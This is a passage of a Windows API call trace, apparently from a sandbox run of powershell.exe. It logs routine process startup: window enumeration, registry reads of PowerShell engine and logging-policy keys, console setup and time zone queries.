lpdwProcessId=0x103e784) returned 0xdc0 [0201.311] GetWindowThreadProcessId (in: hWnd=0x1028c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xb0 [0201.312] GetWindowThreadProcessId (in: hWnd=0x1028a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd44 [0201.312] GetWindowThreadProcessId (in: hWnd=0x10286, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd0c [0201.312] GetWindowThreadProcessId (in: hWnd=0x10284, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x484 [0201.312] GetWindowThreadProcessId (in: hWnd=0x2027c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xff8 [0201.312] GetWindowThreadProcessId (in: hWnd=0x1027a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xfc0 [0201.313] GetWindowThreadProcessId (in: hWnd=0x10276, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf14 [0201.313] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf78 [0201.313] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdac [0201.313] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf04 [0201.313] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xda8 [0201.313] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf64 [0201.313] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf60 [0201.313] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xeb8 [0201.314] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xec4 [0201.314] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xf4 [0201.314] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xba0 [0201.314] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe90 [0201.314] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe84 [0201.314] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x824 [0201.314] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x728 [0201.314] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5f0 [0201.315] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdec [0201.315] GetWindowThreadProcessId (in: hWnd=0x20230, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x3b8 [0201.315] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x2d4 [0201.315] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x1fc [0201.315] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdb4 [0201.315] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa08 [0201.315] GetWindowThreadProcessId (in: hWnd=0x2021e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa84 [0201.316] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x58c [0201.316] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xe00 [0201.316] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa7c [0201.316] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc1c [0201.316] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x888 [0201.316] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xbb0 [0201.316] GetWindowThreadProcessId (in: hWnd=0x20202, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xdd4 [0201.316] GetWindowThreadProcessId (in: hWnd=0x401e6, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd8c [0201.317] GetWindowThreadProcessId (in: hWnd=0x20076, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd80 [0201.317] GetWindowThreadProcessId (in: hWnd=0x3007c, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x798 [0201.317] GetWindowThreadProcessId (in: hWnd=0x30062, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xa70 [0201.317] GetWindowThreadProcessId (in: hWnd=0x30052, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x6dc [0201.317] GetWindowThreadProcessId (in: hWnd=0x30050, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd4c [0201.317] GetWindowThreadProcessId (in: hWnd=0x3004e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x774 [0201.317] GetWindowThreadProcessId (in: hWnd=0x3004a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x680 [0201.317] GetWindowThreadProcessId (in: hWnd=0x201ea, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xcfc [0201.318] GetWindowThreadProcessId (in: hWnd=0x3005e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xd18 [0201.318] GetWindowThreadProcessId (in: hWnd=0x5007e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x790 [0201.318] GetWindowThreadProcessId (in: hWnd=0x201da, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x794 [0201.318] GetWindowThreadProcessId (in: hWnd=0x501e0, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x51c [0201.318] GetWindowThreadProcessId (in: hWnd=0x50048, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x4ec [0201.318] GetWindowThreadProcessId (in: hWnd=0x40044, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x384 [0201.318] GetWindowThreadProcessId (in: hWnd=0x30106, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x4e4 [0201.319] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xcd8 [0201.319] GetWindowThreadProcessId (in: hWnd=0x30150, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x518 [0201.319] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc98 [0201.319] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc9c [0201.319] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0xc38 [0201.319] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.319] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x940 [0201.319] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x8f8 [0201.320] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x7b4 [0201.320] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x103e784 | out: lpdwProcessId=0x103e784) returned 0x5cc [0201.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x60494c8, Length=0x20000, ResultLength=0x103e858 | out: SystemInformation=0x60494c8, ResultLength=0x103e858*=0x24d00) returned 0xc0000004 [0201.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x60694e8, Length=0x27500, ResultLength=0x103e858 | out: SystemInformation=0x60694e8, ResultLength=0x103e858*=0x1abf0) returned 0x0 [0201.435] WerSetFlags () returned 0x0 [0201.475] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0201.686] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x103e870, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x103e86c | out: pulNumLanguages=0x103e870, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x103e86c) returned 1 [0201.687] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x103e870, pwszLanguagesBuffer=0x507a840, pcchLanguagesBuffer=0x103e86c | out: pulNumLanguages=0x103e870, pwszLanguagesBuffer=0x507a840, pcchLanguagesBuffer=0x103e86c) returned 1 [0201.695] GetUserDefaultLocaleName (in: lpLocaleName=0x103e804, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0201.813] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x103dfb4, nSize=0x80 | out: lpBuffer="￿￿?ăဢ狍㦀熍皴燆佚狖ℐ钹撈ě皴燆㦀熍胰熱㦀熍胰熱ă啾狖￿￿ă꛰猣￿￿佚狖刐狖䪌燐") returned 0x0 [0201.818] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x103dfb4, nSize=0x80 | out: lpBuffer="￿￿ୌĞăᩚ狣㛘ę\x01⌀") returned 0x0 [0201.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x103d7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0201.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103dc7c) returned 1 [0201.988] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x103dcf8 | out: lpFileInformation=0x103dcf8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0201.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103dc78) returned 1 [0203.611] CoCreateGuid (in: pguid=0x103df24 | out: pguid=0x103df24*(Data1=0x2f486e1f, Data2=0x61de, Data3=0x434d, Data4=([0]=0x97, [1]=0x8d, [2]=0xda, [3]=0x77, [4]=0x71, [5]=0x37, [6]=0x47, [7]=0x7b))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0x3ad33645, Data2=0xdd9d, Data3=0x47bd, Data4=([0]=0xb3, [1]=0x7c, [2]=0xd7, [3]=0xe6, [4]=0xfe, [5]=0x28, [6]=0x48, [7]=0x4a))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0x9c0fd504, Data2=0xadb8, Data3=0x4014, Data4=([0]=0x89, [1]=0x36, [2]=0x6b, [3]=0x5b, [4]=0x95, [5]=0x33, [6]=0xde, [7]=0xe5))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0x2534ca1c, Data2=0xe142, Data3=0x4953, Data4=([0]=0xb7, [1]=0x5, [2]=0x45, [3]=0x6, [4]=0x65, [5]=0x44, [6]=0xe2, [7]=0xe))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0x9fc7858a, Data2=0xe849, Data3=0x442e, Data4=([0]=0xad, [1]=0x46, [2]=0xd, [3]=0x7a, [4]=0xe0, [5]=0xf9, [6]=0x36, [7]=0x60))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0xb625a9e, Data2=0xc53a, Data3=0x4199, Data4=([0]=0x8b, [1]=0xe9, [2]=0x30, [3]=0xd6, [4]=0x73, [5]=0xe0, [6]=0x96, [7]=0xa))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0x306c421f, Data2=0x9e3f, Data3=0x48a1, Data4=([0]=0xac, [1]=0x61, [2]=0x7a, [3]=0xee, [4]=0x39, [5]=0x69, [6]=0x1b, [7]=0x74))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0xa7bb0a36, Data2=0x6ac3, Data3=0x4191, Data4=([0]=0x8b, [1]=0x4f, [2]=0xa6, [3]=0xd5, [4]=0xff, [5]=0xcf, [6]=0x5d, [7]=0x95))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0x420f763d, Data2=0xe3af, Data3=0x43da, Data4=([0]=0x8f, [1]=0xe, [2]=0x45, [3]=0x77, [4]=0x66, [5]=0x26, [6]=0xaf, [7]=0xec))) returned 0x0 [0204.374] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0xda7e1a9d, Data2=0xdf40, Data3=0x4d4e, Data4=([0]=0x9f, [1]=0x84, [2]=0x45, [3]=0x24, [4]=0xb9, [5]=0x1e, [6]=0xbf, [7]=0x58))) returned 0x0 [0204.375] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0x56c2e3a9, Data2=0xd741, Data3=0x478f, Data4=([0]=0xb1, [1]=0x53, [2]=0x48, [3]=0x98, [4]=0x30, [5]=0xd4, [6]=0x9d, [7]=0x8c))) returned 0x0 [0204.375] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0xa1ac5e90, Data2=0x7604, Data3=0x432f, Data4=([0]=0xb9, [1]=0x8, [2]=0x8c, [3]=0xfd, [4]=0x67, [5]=0xb9, [6]=0xfb, [7]=0xc6))) returned 0x0 [0204.381] CoCreateGuid (in: pguid=0x103df18 | out: pguid=0x103df18*(Data1=0xabe00fab, Data2=0xb303, Data3=0x4775, Data4=([0]=0x97, [1]=0x59, [2]=0xde, [3]=0xb1, [4]=0xe9, [5]=0x53, [6]=0x9, [7]=0xe7))) returned 0x0 [0204.381] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x103dc34, nSize=0xfa | out: lpBuffer="䳆狒ᾜ钹\x14\x01徠狍哨؄") returned 0x0 [0204.692] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e7bc | out: phkResult=0x103e7bc*=0x620) returned 0x0 [0204.693] RegQueryValueExW (in: hKey=0x620, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e7dc, lpData=0x0, lpcbData=0x103e7d8*=0x0 | out: lpType=0x103e7dc*=0x1, lpData=0x0, lpcbData=0x103e7d8*=0x56) returned 0x0 [0204.693] RegQueryValueExW (in: hKey=0x620, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e7dc, lpData=0x509214c, lpcbData=0x103e7d8*=0x56 | out: lpType=0x103e7dc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x103e7d8*=0x56) returned 0x0 [0204.693] RegCloseKey (hKey=0x620) returned 0x0 [0204.699] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x103de2c, nSize=0xfa | out: lpBuffer="䳆狒↔钹\x14\x01徠狍哨؄嬀狖\x01") returned 0x0 [0204.753] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e78c | out: phkResult=0x103e78c*=0x0) returned 0x2 [0204.874] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e78c | out: phkResult=0x103e78c*=0x0) returned 0x2 [0205.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0205.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0205.442] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e734 | out: phkResult=0x103e734*=0x288) returned 0x0 [0205.447] RegQueryValueExW (in: hKey=0x288, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e754, lpData=0x0, lpcbData=0x103e750*=0x0 | out: lpType=0x103e754*=0x1, lpData=0x0, lpcbData=0x103e750*=0x56) returned 0x0 [0205.447] RegQueryValueExW (in: hKey=0x288, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e754, lpData=0x509a644, lpcbData=0x103e750*=0x56 | out: lpType=0x103e754*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x103e750*=0x56) returned 0x0 [0205.447] RegCloseKey (hKey=0x288) returned 0x0 [0205.971] CoTaskMemAlloc (cb=0x20c) returned 0x76a6500 [0205.971] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x76a6500 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0205.975] CoTaskMemFree (pv=0x76a6500) [0205.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0205.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0205.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0205.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x3b, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0205.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x103e7b4) returned 1 [0205.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell"), fInfoLevelId=0x0, lpFileInformation=0x103e830 | out: lpFileInformation=0x103e830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x103e7b0) returned 1 [0205.984] CoCreateGuid (in: pguid=0x103e840 | out: pguid=0x103e840*(Data1=0x87b4eba7, Data2=0x3800, Data3=0x4f14, Data4=([0]=0x88, [1]=0x8c, [2]=0x4b, [3]=0x27, [4]=0xb3, [5]=0x53, [6]=0x9a, [7]=0x7d))) returned 0x0 [0205.989] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e720 | out: phkResult=0x103e720*=0x0) returned 0x2 [0205.991] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e720 | out: phkResult=0x103e720*=0x0) returned 0x2 [0206.201] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x103ddbc, nSize=0xfa | out: lpBuffer="䳆狒℄钹\x14\x01徠狍哨؄䤀狒᳈钹") returned 0x0 [0206.210] CreateFileW (lpFileName="CONOUT$" (normalized: "\\device\\condrv\\currentout"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63c [0206.356] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x103e7cc | out: lpConsoleScreenBufferInfo=0x103e7cc) returned 1 [0206.568] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63c, lpConsoleScreenBufferInfo=0x103e7cc | out: lpConsoleScreenBufferInfo=0x103e7cc) returned 1 [0206.782] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x103e830 | out: lpMode=0x103e830) returned 1 [0207.040] SetConsoleMode (hConsoleHandle=0x63c, dwMode=0x7) returned 1 [0207.251] GetConsoleMode (in: hConsoleHandle=0x63c, lpMode=0x103e830 | out: lpMode=0x103e830) returned 1 [0207.384] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e7ac | out: phkResult=0x103e7ac*=0x0) returned 0x2 [0207.392] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e7ac | out: phkResult=0x103e7ac*=0x0) returned 0x2 [0207.394] GetConsoleCP () returned 0x1b5 [0207.409] GetCurrentConsoleFontEx (in: hConsoleOutput=0x63c, bMaximumWindow=0, lpConsoleCurrentFontEx=0x103e780 | out: lpConsoleCurrentFontEx=0x103e780) returned 1 [0207.415] SetConsoleCtrlHandler (HandlerRoutine=0x7242c66, Add=1) returned 1 [0207.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0207.417] GetFileType (hFile=0x90) returned 0x2 [0207.417] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x103e84c | out: lpMode=0x103e84c) returned 1 [0207.425] GetStdHandle (nStdHandle=0xfffffff6) returned 0x8c [0207.425] GetFileType (hFile=0x8c) returned 0x2 [0207.425] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x103e828 | out: lpMode=0x103e828) returned 1 [0207.448] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x103e058*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x103e058*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x52, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0207.457] CoCreateGuid (in: pguid=0x103e70c | out: pguid=0x103e70c*(Data1=0xb6682fd7, Data2=0x7ba9, Data3=0x4b8e, Data4=([0]=0x9e, [1]=0x37, [2]=0x56, [3]=0x61, [4]=0xc7, [5]=0xfc, [6]=0x77, [7]=0x85))) returned 0x0 [0207.507] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x103e73c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x103e73c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x52, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0207.519] EtwEventRegister (in: ProviderId=0x50b3d38, EnableCallback=0x7242c8e, CallbackContext=0x0, RegHandle=0x50b3d14 | out: RegHandle=0x50b3d14) returned 0x0 [0207.519] EtwEventSetInformation (RegHandle=0x761b6f0, InformationClass=0x4f, EventInformation=0x2, InformationLength=0x50b3ce8) returned 0x0 [0207.523] CoTaskMemAlloc (cb=0x20c) returned 0x76a4478 [0207.523] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x76a4478 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0207.523] CoTaskMemFree (pv=0x76a4478) [0207.523] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0207.523] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0207.523] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x103dc88, nSize=0xfa | out: lpBuffer="䳆狒῰钹\x14\x01徠狍哨؄?盬竑ꋸȌ") returned 0x0 [0207.527] GetCurrentProcessId () returned 0x9d0 [0207.529] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9d0) returned 0x288 [0207.529] GetProcessTimes (in: hProcess=0x288, lpCreationTime=0x50b4a60, lpExitTime=0x50b4a68, lpKernelTime=0x50b4a70, lpUserTime=0x50b4a78 | out: lpCreationTime=0x50b4a60, lpExitTime=0x50b4a68, lpKernelTime=0x50b4a70, lpUserTime=0x50b4a78) returned 1 [0207.529] CloseHandle (hObject=0x288) returned 1 [0207.549] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x103d4e4 | out: pTimeZoneInformation=0x103d4e4) returned 0x2 [0207.555] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x103d5c8 | out: phkResult=0x103d5c8*=0x288) returned 0x0 [0207.556] RegQueryValueExW (in: hKey=0x288, lpValueName="TZI", lpReserved=0x0, lpType=0x103d5e4, lpData=0x0, lpcbData=0x103d5e0*=0x0 | out: lpType=0x103d5e4*=0x3, lpData=0x0, lpcbData=0x103d5e0*=0x2c) returned 0x0 [0207.556] RegQueryValueExW (in: hKey=0x288, lpValueName="TZI", lpReserved=0x0, lpType=0x103d5e4, lpData=0x50b547c, lpcbData=0x103d5e0*=0x2c | out: lpType=0x103d5e4*=0x3, lpData=0x50b547c*, lpcbData=0x103d5e0*=0x2c) returned 0x0 [0207.557] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x103d41c | out: 